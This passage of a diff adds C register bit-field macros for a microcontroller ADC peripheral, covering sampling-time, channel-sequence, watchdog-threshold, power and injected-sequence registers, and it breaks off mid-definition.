+#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << 